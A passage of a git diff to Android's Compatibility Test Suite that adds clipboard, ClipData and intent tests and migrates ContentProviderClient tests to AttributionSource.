diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 03a638c..4144f57 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -446,6 +446,10 @@
         }
     }
 
+    public void testRequestManageMedia() {
+        assertCanBeHandled(new Intent(Settings.ACTION_REQUEST_MANAGE_MEDIA));
+    }
+
     public void testInteractAcrossProfilesSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
@@ -559,6 +563,10 @@
         assertCanBeHandled(new Intent(Settings.ACTION_WIFI_ADD_NETWORKS));
     }
 
+    public void testManageUnusedAppsIntent() {
+        assertCanBeHandled(new Intent(Intent.ACTION_MANAGE_UNUSED_APPS));
+    }
+
     private boolean isHandheld() {
         // handheld nature is not exposed to package manager, for now
         // we check for touchscreen and NOT watch, NOT tv and NOT car
diff --git a/tests/tests/content/src/android/content/cts/ClipDataTest.java b/tests/tests/content/src/android/content/cts/ClipDataTest.java
new file mode 100644
index 0000000..ae39864
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ClipDataTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClipDataTest {
+    private static final String LOG_TAG = "ClipDataTest";
+
+    @Test
+    public void testToString_text() {
+        ClipData clip = ClipData.newPlainText(null, "secret-text");
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_html() {
+        ClipData clip = ClipData.newHtmlText(null, "secret-text", "secret-html");
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_uri() {
+        ClipData clip = ClipData.newRawUri(null, Uri.parse("content://secret"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_metadata() {
+        ClipDescription description = new ClipDescription("secret-label",
+                new String[]{"text/plain"});
+        PersistableBundle extras = new PersistableBundle();
+        extras.putString("secret-key", "secret-value");
+        description.setExtras(extras);
+        description.setTimestamp(42);
+        ClipData clip = new ClipData(description, new ClipData.Item("secret-text"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_multipleItems() {
+        ClipData clip = ClipData.newPlainText(null, "secret-one");
+        clip.addItem(new ClipData.Item("secret-two"));
+        clip.addItem(new ClipData.Item("secret-three"));
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+
+    @Test
+    public void testToString_complexItem() {
+        ClipData.Item item = new ClipData.Item(
+                "secret-text",
+                "secret-html",
+                mock(Intent.class),
+                Uri.parse("content://secret"));
+        String[] mimeTypes = {
+                ClipDescription.MIMETYPE_TEXT_PLAIN,
+                ClipDescription.MIMETYPE_TEXT_HTML,
+                ClipDescription.MIMETYPE_TEXT_INTENT,
+                ClipDescription.MIMETYPE_TEXT_URILIST
+        };
+        ClipData clip = new ClipData("secret-label", mimeTypes, item);
+        String clipStr = clip.toString();
+        Log.i(LOG_TAG, clipStr);
+        assertThat(clipStr).doesNotContain("secret");
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
index 3d53e2d..7f82137 100644
--- a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
@@ -16,22 +16,32 @@
 
 package android.content.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.content.ClipData;
+import android.content.ClipDescription;
 import android.content.ClipboardManager;
 import android.content.Context;
 import android.content.Intent;
+import android.net.Uri;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
+import android.text.SpannableString;
+import android.text.style.UnderlineSpan;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.collect.Range;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -49,6 +59,9 @@
     private UiDevice mUiDevice;
     private Context mContext;
 
+    private static final String SIXTY_CHARS =
+            "Hello this is a string of sixty characters in length exactly";
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
@@ -76,6 +89,146 @@
         }
     }
 
+    @Test
+    public void testIsStyledText() {
+        ClipDescription clipDescription = new ClipDescription(
+                "label", new String[] { ClipDescription.MIMETYPE_TEXT_PLAIN });
+
+        // False as clip description is not attached to anything.
+        assertThat(clipDescription.isStyledText()).isFalse();
+
+        SpannableString spannable = new SpannableString("Hello this is some text");
+        spannable.setSpan(new UnderlineSpan(), 6, 10, 0);
+        ClipData clipData = new ClipData(clipDescription, new ClipData.Item(spannable));
+
+        assertThat(clipDescription.isStyledText()).isTrue();
+
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isTrue();
+
+        ClipData clipData2 = ClipData.newPlainText("label", spannable);
+        assertThat(clipData2.getDescription().isStyledText()).isTrue();
+        clipboardManager.setPrimaryClip(clipData2);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isTrue();
+    }
+
+    @Test
+    public void testNotStyledText() {
+        ClipDescription clipDescription = new ClipDescription(
+                "label", new String[] { ClipDescription.MIMETYPE_TEXT_PLAIN });
+        ClipData clipData = new ClipData(clipDescription, new ClipData.Item("Just text"));
+        assertThat(clipDescription.isStyledText()).isFalse();
+
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+
+        ClipData clipData2 = ClipData.newPlainText("label", "Just some text");
+        assertThat(clipData2.getDescription().isStyledText()).isFalse();
+        clipboardManager.setPrimaryClip(clipData2);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+
+        // Test that a URI is not considered styled text.
+        ClipData clipDataUri = ClipData.newRawUri("label", Uri.parse("content://test"));
+        assertThat(clipDataUri.getDescription().isStyledText()).isFalse();
+        clipboardManager.setPrimaryClip(clipDataUri);
+        assertThat(clipboardManager.getPrimaryClipDescription().isStyledText()).isFalse();
+    }
+
+    @Test
+    public void testClassificationNotCompletedBeforeCopy() {
+        ClipDescription clipDescription = new ClipDescription(
+                "label", new String[] { ClipDescription.MIMETYPE_TEXT_PLAIN });
+        assertThat(clipDescription.getClassificationStatus())
+                .isEqualTo(ClipDescription.CLASSIFICATION_NOT_COMPLETE);
+
+        ClipData clipData = ClipData.newPlainText("label", "Just some text");
+        assertThat(clipDescription.getClassificationStatus())
+                .isEqualTo(ClipDescription.CLASSIFICATION_NOT_COMPLETE);
+    }
+
+    @Test
+    public void testClassificationNotPerformedForVeryLongText() {
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < 100; i++) {
+            builder.append(SIXTY_CHARS);
+        }
+        String longString = builder.toString();
+        ClipData clipData = ClipData.newPlainText("label", longString);
+
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+        ClipDescription description = clipboardManager.getPrimaryClipDescription();
+        assertThat(description.getClassificationStatus())
+                .isEqualTo(ClipDescription.CLASSIFICATION_NOT_PERFORMED);
+        assertThat(clipboardManager.getPrimaryClip().getItemAt(0).getTextLinks())
+                .isNull();
+    }
+
+    @Test
+    public void testClassificationConfidenceValuesAreValid() throws InterruptedException {
+        ClipData clipData = ClipData.newPlainText(
+                "label", "Hi Sam, try www.android.com on 05/04/2021 then visit "
+                        + "221B Baker Street, London and email test@example.com");
+        ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        clipboardManager.setPrimaryClip(clipData);
+
+        ClipDescription description = clipboardManager.getPrimaryClipDescription();
+        for (int i = 0; i < 10; i++) {
+            description = clipboardManager.getPrimaryClipDescription();
+            if (description.getClassificationStatus()
+                    != ClipDescription.CLASSIFICATION_NOT_COMPLETE) {
+                break;
+            }
+            Thread.sleep(1000);
+        }
+
+        if (description.getClassificationStatus() == ClipDescription.CLASSIFICATION_NOT_PERFORMED) {
+            return;
+        }
+
+        float urlConfidence = description.getConfidenceScore(TextClassifier.TYPE_URL);
+        float dateConfidence = description.getConfidenceScore(TextClassifier.TYPE_DATE);
+        float addressConfidence = description.getConfidenceScore(TextClassifier.TYPE_ADDRESS);
+        float emailConfidence = description.getConfidenceScore(TextClassifier.TYPE_EMAIL);
+
+        assertThat(urlConfidence).isIn(Range.closed(0f, 1f));
+        assertThat(dateConfidence).isIn(Range.closed(0f, 1f));
+        assertThat(addressConfidence).isIn(Range.closed(0f, 1f));
+        assertThat(emailConfidence).isIn(Range.closed(0f, 1f));
+
+        if (urlConfidence > 0 || dateConfidence > 0 || addressConfidence > 0
+                || emailConfidence > 0) {
+            TextLinks textLinks =
+                    clipboardManager.getPrimaryClip().getItemAt(0).getTextLinks();
+            assertThat(getHighestConfidence(TextClassifier.TYPE_URL, textLinks))
+                    .isEqualTo(urlConfidence);
+            assertThat(getHighestConfidence(TextClassifier.TYPE_DATE, textLinks))
+                    .isEqualTo(dateConfidence);
+            assertThat(getHighestConfidence(TextClassifier.TYPE_ADDRESS, textLinks))
+                    .isEqualTo(addressConfidence);
+            assertThat(getHighestConfidence(TextClassifier.TYPE_EMAIL, textLinks))
+                    .isEqualTo(emailConfidence);
+        }
+    }
+
+    private float getHighestConfidence(String entity, TextLinks textLinks) {
+        float result = 0;
+        for (TextLinks.TextLink textLink : textLinks.getLinks()) {
+            result = Math.max(result, textLink.getConfidenceScore(entity));
+        }
+        return result;
+    }
+
     /**
      * Convert a System.currentTimeMillis() value to a time of day value like
      * that printed in logs. MM-DD-YY HH:MM:SS.MMM
@@ -98,6 +251,6 @@
         intent.setClassName(mContext.getPackageName(), clazz.getName());
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(clazz)), 5000);
+        mUiDevice.wait(Until.hasObject(By.pkg(clazz.getPackageName())), 15000);
     }
 }
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
index 121999e..c139b25 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.content.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -23,6 +25,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import android.Manifest;
 import android.app.Activity;
 import android.content.ClipData;
 import android.content.ClipData.Item;
@@ -41,6 +44,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -64,6 +68,12 @@
         launchActivity(MockActivity.class);
     }
 
+    @After
+    public void cleanUp() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
     @Test
     public void testSetGetText() {
         ClipboardManager clipboardManager = mClipboardManager;
@@ -253,7 +263,7 @@
 
         // Press the home button to unfocus the app.
         mUiDevice.pressHome();
-        mUiDevice.wait(Until.gone(By.clazz(MockActivity.class)), 5000);
+        mUiDevice.wait(Until.gone(By.pkg(MockActivity.class.getPackageName())), 5000);
 
         // We should see an empty clipboard now.
         assertFalse(mClipboardManager.hasPrimaryClip());
@@ -271,7 +281,6 @@
         // Launch an activity to get back in focus.
         launchActivity(MockActivity.class);
 
-
         // Verify clipboard access is restored.
         assertNotNull(mClipboardManager.getPrimaryClip());
         assertNotNull(mClipboardManager.getPrimaryClipDescription());
@@ -283,12 +292,35 @@
                 new ExpectedClipItem("Text2", null, null));
     }
 
+    @Test
+    public void testClipSourceRecordedWhenClipSet() {
+        ClipData clipData = ClipData.newPlainText("TextLabel", "Text1");
+        mClipboardManager.setPrimaryClip(clipData);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_CLIP_SOURCE);
+        assertThat(
+                mClipboardManager.getPrimaryClipSource()).isEqualTo("android.content.cts");
+    }
+
+    @Test
+    public void testSetPrimaryClipAsPackage() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_CLIP_SOURCE);
+
+        ClipData clipData = ClipData.newPlainText("TextLabel", "Text1");
+        mClipboardManager.setPrimaryClipAsPackage(clipData, "test.package");
+
+        assertThat(
+                mClipboardManager.getPrimaryClipSource()).isEqualTo("test.package");
+    }
+
     private void launchActivity(Class<? extends Activity> clazz) {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(mContext.getPackageName(), clazz.getName());
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(clazz)), 5000);
+        mUiDevice.wait(Until.hasObject(By.pkg(clazz.getPackageName())), 15000);
     }
 
     private class ExpectedClipItem {
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
index cdd6dc1..c2d4ae5 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
@@ -22,14 +22,16 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
 import static org.mockito.Mockito.RETURNS_DEFAULTS;
 
+import android.content.AttributionSource;
 import android.content.ContentProvider;
 import android.content.ContentProviderClient;
 import android.content.ContentProviderOperation;
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
+import android.content.ContextParams;
 import android.content.IContentProvider;
 import android.content.OperationApplicationException;
 import android.net.Uri;
@@ -37,6 +39,7 @@
 import android.os.CancellationSignal;
 import android.os.ICancellationSignal;
 import android.os.OperationCanceledException;
+import android.os.Process;
 import android.os.RemoteException;
 import android.test.AndroidTestCase;
 import android.test.mock.MockContentResolver;
@@ -76,6 +79,7 @@
     private ContentResolver mContentResolver;
     private IContentProvider mIContentProvider;
     private ContentProviderClient mContentProviderClient;
+    private AttributionSource mAttributionSource;
 
     private CancellationSignal mCancellationSignal = new CancellationSignal();
     private ICancellationSignal mICancellationSignal;
@@ -90,8 +94,13 @@
 
         doReturn(mICancellationSignal).when(mIContentProvider).createCancellationSignal();
 
-        mContentResolver = spy(
-                new MockContentResolver(getContext().createFeatureContext(FEATURE_ID)));
+        final Context attributionContext = getContext().createContext(
+                new ContextParams.Builder()
+                        .setAttributionTag(FEATURE_ID)
+                        .build());
+
+        mAttributionSource = attributionContext.getAttributionSource();
+        mContentResolver = spy(new MockContentResolver(attributionContext));
         mContentProviderClient = spy(new ContentProviderClient(mContentResolver, mIContentProvider,
                 false));
 
@@ -110,24 +119,24 @@
 
     public void testQuery() throws RemoteException {
         mContentProviderClient.query(URI, null, ARGS, mCancellationSignal);
-        verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+        verify(mIContentProvider).query(mAttributionSource, URI, null, ARGS,
                 mICancellationSignal);
     }
 
     public void testQueryTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).query(mAttributionSource, URI, null,
                 ARGS, mICancellationSignal);
 
         testTimeout(() -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
 
-        verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+        verify(mIContentProvider).query(mAttributionSource, URI, null, ARGS,
                 mICancellationSignal);
     }
 
     public void testQueryAlreadyCancelled() throws Exception {
         testAlreadyCancelled(
                 () -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
-        verify(mIContentProvider, never()).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+        verify(mIContentProvider, never()).query(mAttributionSource, URI, null, ARGS,
                 mICancellationSignal);
     }
 
@@ -159,148 +168,144 @@
 
     public void testCanonicalize() throws RemoteException {
         mContentProviderClient.canonicalize(URI);
-        verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        verify(mIContentProvider).canonicalize(mAttributionSource, URI);
     }
 
     public void testCanonicalizeTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).canonicalize(mAttributionSource, URI);
 
         testTimeout(() -> mContentProviderClient.canonicalize(URI));
 
-        verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        verify(mIContentProvider).canonicalize(mAttributionSource, URI);
     }
 
     public void testUncanonicalize() throws RemoteException {
         mContentProviderClient.uncanonicalize(URI);
-        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        verify(mIContentProvider).uncanonicalize(mAttributionSource, URI);
     }
 
     public void testUncanonicalizeTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).uncanonicalize(mAttributionSource, URI);
 
         testTimeout(() -> mContentProviderClient.uncanonicalize(URI));
 
-        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
+        verify(mIContentProvider).uncanonicalize(mAttributionSource, URI);
     }
 
     public void testRefresh() throws RemoteException {
         mContentProviderClient.refresh(URI, ARGS, mCancellationSignal);
-        verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+        verify(mIContentProvider).refresh(mAttributionSource, URI, ARGS,
                 mICancellationSignal);
     }
 
     public void testRefreshTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).refresh(mAttributionSource, URI, ARGS,
                 mICancellationSignal);
 
         testTimeout(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
 
-        verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+        verify(mIContentProvider).refresh(mAttributionSource, URI, ARGS,
                 mICancellationSignal);
     }
 
     public void testRefreshAlreadyCancelled() throws Exception {
         testAlreadyCancelled(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
-        verify(mIContentProvider, never()).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+        verify(mIContentProvider, never()).refresh(mAttributionSource, URI, ARGS,
                 mICancellationSignal);
     }
 
     public void testInsert() throws RemoteException {
         mContentProviderClient.insert(URI, VALUES, EXTRAS);
-        verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
+        verify(mIContentProvider).insert(mAttributionSource, URI, VALUES, EXTRAS);
     }
 
     public void testInsertTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).insert(mAttributionSource, URI,
                 VALUES, EXTRAS);
 
         testTimeout(() -> mContentProviderClient.insert(URI, VALUES, EXTRAS));
 
-        verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
+        verify(mIContentProvider).insert(mAttributionSource, URI, VALUES, EXTRAS);
     }
 
     public void testBulkInsert() throws RemoteException {
         mContentProviderClient.bulkInsert(URI, VALUES_ARRAY);
-        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
+        verify(mIContentProvider).bulkInsert(mAttributionSource, URI, VALUES_ARRAY);
     }
 
     public void testBulkInsertTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).bulkInsert(mAttributionSource, URI,
                 VALUES_ARRAY);
 
         testTimeout(() -> mContentProviderClient.bulkInsert(URI, VALUES_ARRAY));
 
-        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
+        verify(mIContentProvider).bulkInsert(mAttributionSource, URI, VALUES_ARRAY);
     }
 
     public void testDelete() throws RemoteException {
         mContentProviderClient.delete(URI, EXTRAS);
-        verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
+        verify(mIContentProvider).delete(mAttributionSource, URI, EXTRAS);
     }
 
     public void testDeleteTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI,
-                EXTRAS);
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).delete(mAttributionSource, URI, EXTRAS);
 
         testTimeout(() -> mContentProviderClient.delete(URI, EXTRAS));
 
-        verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
+        verify(mIContentProvider).delete(mAttributionSource, URI, EXTRAS);
     }
 
     public void testUpdate() throws RemoteException {
         mContentProviderClient.update(URI, VALUES, EXTRAS);
-        verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
+        verify(mIContentProvider).update(mAttributionSource, URI, VALUES, EXTRAS);
     }
 
     public void testUpdateTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).update(mAttributionSource, URI,
                 VALUES, EXTRAS);
 
         testTimeout(() -> mContentProviderClient.update(URI, VALUES, EXTRAS));
 
-        verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
+        verify(mIContentProvider).update(mAttributionSource, URI, VALUES, EXTRAS);
     }
 
     public void testOpenFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openFile(URI, MODE, mCancellationSignal);
 
-        verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
-                mICancellationSignal, null);
+        verify(mIContentProvider).openFile(mAttributionSource, URI, MODE, mICancellationSignal);
     }
 
     public void testOpenFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
-                mICancellationSignal, null);
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openFile(mAttributionSource,
+                URI, MODE, mICancellationSignal);
 
         testTimeout(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
-                mICancellationSignal, null);
+        verify(mIContentProvider).openFile(mAttributionSource, URI, MODE, mICancellationSignal);
     }
 
     public void testOpenFileAlreadyCancelled() throws Exception {
         testAlreadyCancelled(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider, never()).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
-                mICancellationSignal, null);
+        verify(mIContentProvider, never()).openFile(mAttributionSource, URI, MODE,
+                mICancellationSignal);
     }
 
     public void testOpenAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal);
 
-        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
-                mICancellationSignal);
+        verify(mIContentProvider).openAssetFile(mAttributionSource, URI, MODE, mICancellationSignal);
     }
 
     public void testOpenAssetFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI,
-                MODE, mICancellationSignal);
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openAssetFile(mAttributionSource,
+                URI, MODE, mICancellationSignal);
 
         testTimeout(() -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+        verify(mIContentProvider).openAssetFile(mAttributionSource, URI, MODE,
                 mICancellationSignal);
     }
 
@@ -308,33 +313,33 @@
         testAlreadyCancelled(
                 () -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider, never()).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+        verify(mIContentProvider, never()).openAssetFile(mAttributionSource, URI, MODE,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFileDescriptor() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFileDescriptor(URI, MODE, ARGS, mCancellationSignal);
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(mAttributionSource, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS, mCancellationSignal);
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(mAttributionSource, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).openTypedAssetFile(mAttributionSource,
                 URI, MODE, ARGS, mICancellationSignal);
 
         testTimeout(() -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
                 mCancellationSignal));
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(mAttributionSource, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
@@ -343,39 +348,39 @@
                 () -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
                         mCancellationSignal));
 
-        verify(mIContentProvider, never()).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+        verify(mIContentProvider, never()).openTypedAssetFile(mAttributionSource, URI, MODE,
                 ARGS, mICancellationSignal);
     }
 
     public void testApplyBatch() throws RemoteException, OperationApplicationException {
         mContentProviderClient.applyBatch(AUTHORITY, OPS);
 
-        verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
+        verify(mIContentProvider).applyBatch(mAttributionSource, AUTHORITY, OPS);
     }
 
     public void testApplyBatchTimeout()
             throws RemoteException, InterruptedException, OperationApplicationException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).applyBatch(mAttributionSource,
